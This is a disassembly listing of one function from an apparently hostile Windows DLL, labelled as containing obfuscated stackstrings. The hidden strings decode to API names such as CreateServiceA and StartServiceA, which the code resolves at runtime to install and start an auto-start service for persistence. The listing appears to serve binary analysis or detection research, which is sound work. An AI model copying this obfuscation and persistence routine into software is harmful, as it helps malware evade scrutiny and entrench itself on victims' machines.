Function at 0x10009970
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x8ec
mov eax, dword [0x10084044]
xor eax, esp
mov dword [esp + 0x8e8], eax
mov eax, dword [esp + 0x8fc]
mov dword [0x1008a260], eax
mov eax, dword [esp + 0x8f8]
mov dword [0x1008a264], eax
mov eax, dword [esp + 0x8f4]
push 0x400
mov dword [0x1008a268], eax
lea eax, [esp + 0x4ec]
push 0
push eax
call fcn.10015420
lea eax, [esp + 0x4f4]
push eax
call fcn.10007940
push 0x400
lea eax, [esp + 0xfc]
push 0
push eax
call fcn.10015420
lea eax, [esp + 0x104]
push eax
call fcn.10007940
lea eax, [esp + 0x108]
push eax
call fcn.1000d4a0
add esp, 0x24
test eax, eax
je 0x10009db5
push esi
lea eax, [esp + 0x4ec]
mov dword [esp + 0x50], 0
push eax
lea ecx, [esp + 0x9c]
mov dword [esp + 0x64], 0
mov dword [esp + 0x68], 0xf
mov word [esp + 0xdc], 0x7973
mov word [esp + 0xdf], 0x6574
mov dword [esp + 0xe2], 0x6f742d20
mov dword [esp + 0xd8], 0x2d207325
mov dword [esp + 0xe8], 0x7325206e
mov byte [esp + 0xe1], 0x6d
mov byte [esp + 0xec], 0
mov word [esp + 0xe6], 0x656b
mov byte [esp + 0xde], 0x73
mov dword [esp + 0x24], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0xf
call fcn.10002170
push 3
push 0x1d
lea eax, [esp + 0x40]
mov dword [esp + 0xb8], 0x73257325
push eax
lea ecx, [esp + 0xa4]
mov byte [esp + 0xc0], 0
call fcn.10002d30
push 3
mov esi, eax
lea ecx, [esp + 0x9c]
push 0
lea eax, [esp + 0x10]
push eax
call fcn.10002d30
cmp dword [esi + 0x14], 0x10
jb 0x10009ae5
mov esi, dword [esi]
cmp dword [eax + 0x14], 0x10
jb 0x10009aed
mov eax, dword [eax]
push ebx
push edi
push esi
push eax
lea eax, [esp + 0xc0]
push eax
lea eax, [esp + 0x34]
push eax
call fcn.10002e90
add esp, 0x10
lea ecx, [esp + 0x10]
call fcn.100026c0
lea ecx, [esp + 0x40]
call fcn.100026c0
cmp dword [esp + 0x3c], 0x10
lea eax, [esp + 0x28]
cmovae eax, dword [esp + 0x28]
push eax
lea eax, [esp + 0xf8]
push eax
lea eax, [esp + 0xe4]
push eax
lea eax, [esp + 0x64]
push eax
call fcn.10002e90
lea eax, [esp + 0x104]
push eax
call fcn.1000d530
add esp, 0x14
lea ecx, [esp + 0x70]
push eax
call fcn.10002170
lea eax, [esp + 0xc0]
mov dword [esp + 0xc1], 0x61776c68
push eax
mov dword [esp + 0xc9], 0x642e6970
mov word [esp + 0xce], 0x6c
mov byte [esp + 0xc4], 0x53
mov byte [esp + 0xcd], 0x6c
call fcn.1000d1c0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x10009c0d
lea eax, [esp + 0x10]
mov dword [esp + 0x11], 0x52687461
push eax
push ebx
mov dword [esp + 0x24], 0x736e6574
mov dword [esp + 0x1e], 0x65766f6d
mov dword [esp + 0x28], 0x416e6f69
mov word [esp + 0x22], 0x7845
mov byte [esp + 0x18], 0x50
mov byte [esp + 0x1d], 0x65
mov byte [esp + 0x2c], 0
call edi
mov esi, eax
test esi, esi
je 0x10009c04
push 0xffffffffffffffff
lea ecx, [esp + 0x74]
call fcn.10001310
push eax
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x74]
call fcn.10002450
push ebx
call fcn.1000c9c0
add esp, 4
push ebp
lea eax, [esp + 0x74]
push eax
lea ecx, [esp + 0x90]
call fcn.10002910
lea eax, [esp + 0xd0]
mov dword [esp + 0xd0], 0x61766441
push eax
mov word [esp + 0xde], 0x6c6c
mov word [esp + 0xdb], 0x2e32
mov word [esp + 0xd8], 0x6970
mov byte [esp + 0xda], 0x33
mov byte [esp + 0xdd], 0x64
mov byte [esp + 0xe0], 0
call fcn.1000d1c0
mov esi, eax
add esp, 4
test esi, esi
je 0x10009e72
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x61657243
push eax
push esi
mov dword [esp + 0x20], 0x65536574
mov word [esp + 0x25], 0x6976
mov word [esp + 0x28], 0x4165
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x24], 0x72
mov byte [esp + 0x2a], 0
call edi
mov ebx, eax
mov dword [esp + 0x44], 0x72617453
lea eax, [esp + 0x44]
mov dword [esp + 0x10], ebx
push eax
push esi
mov word [esp + 0x53], 0x7672
mov dword [esp + 0x56], 0x416563
mov byte [esp + 0x55], 0x69
mov word [esp + 0x50], 0x5374
mov byte [esp + 0x52], 0x65
call edi
mov ebp, eax
test ebx, ebx
je 0x10009e72
test ebp, ebp
je 0x10009e72
push 2
push 0
push 0
call fcn.1000d370
mov ebx, eax
lea ecx, [esp + 0x98]
add esp, 0xc
test ebx, ebx
jne 0x10009dca
call fcn.100026c0
lea ecx, [esp + 0x74]
call fcn.100026c0
lea ecx, [esp + 0xa4]
call fcn.100026c0
mov edx, dword [esp + 0x40]
cmp edx, 0x10
jb 0x10009d66
mov ecx, dword [esp + 0x2c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10009d5c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10009f0e
push edx
push ecx
call fcn.1001305c
add esp, 8
mov edx, dword [esp + 0x70]
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0xf
mov byte [esp + 0x2c], 0
cmp edx, 0x10
jb 0x10009db1
mov ecx, dword [esp + 0x5c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10009da7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10009f0e
push edx
push ecx
call fcn.1001305c
add esp, 8
pop ebp
pop edi
pop ebx
pop esi
mov ecx, dword [esp + 0x8e8]
xor ecx, esp
call fcn.10013577
add esp, 0x8ec
ret
cmp dword [esp + 0x70], 0x10
lea edx, [esp + 0x5c]
push 0
cmovae edx, dword [esp + 0x60]
lea eax, [esp + 0x78]
cmp dword [esp + 0xa4], 0x10
push 0
cmovae ecx, dword [esp + 0x94]
cmp dword [esp + 0x90], 0x10
push 0
cmovae eax, dword [esp + 0x80]
push 0
push 0
push edx
push 1
push 2
push 0x10
push 0xf01ff
push ecx
push eax
push ebx
call dword [esp + 0x44]
mov edi, eax
test edi, edi
je 0x10009e57
push 0xffffffffffffffff
lea ecx, [esp + 0x90]
call fcn.10001310
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push 1
push edi
call fcn.1000c5b0
add esp, 0xc
push 0
push 0
push edi
call ebp
push edi
call fcn.100068f0
push edi
call fcn.1000c6d0
add esp, 8
push esi
call fcn.1000c9c0
push ebx
call fcn.1000c6d0
add esp, 8
lea ecx, [esp + 0x8c]
jmp 0x10009d16
lea ecx, [esp + 0x8c]
call fcn.100026c0
lea ecx, [esp + 0x74]
call fcn.100026c0
lea ecx, [esp + 0xa4]
call fcn.100026c0
mov edx, dword [esp + 0x40]
cmp edx, 0x10
jb 0x10009ec5
mov ecx, dword [esp + 0x2c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10009ebb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10009f0e
push edx
push ecx
call fcn.1001305c
add esp, 8
mov edx, dword [esp + 0x70]
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0xf
mov byte [esp + 0x2c], 0
cmp edx, 0x10
jb 0x10009db1
mov ecx, dword [esp + 0x5c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10009da7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10009da7
call fcn.1001811f
int3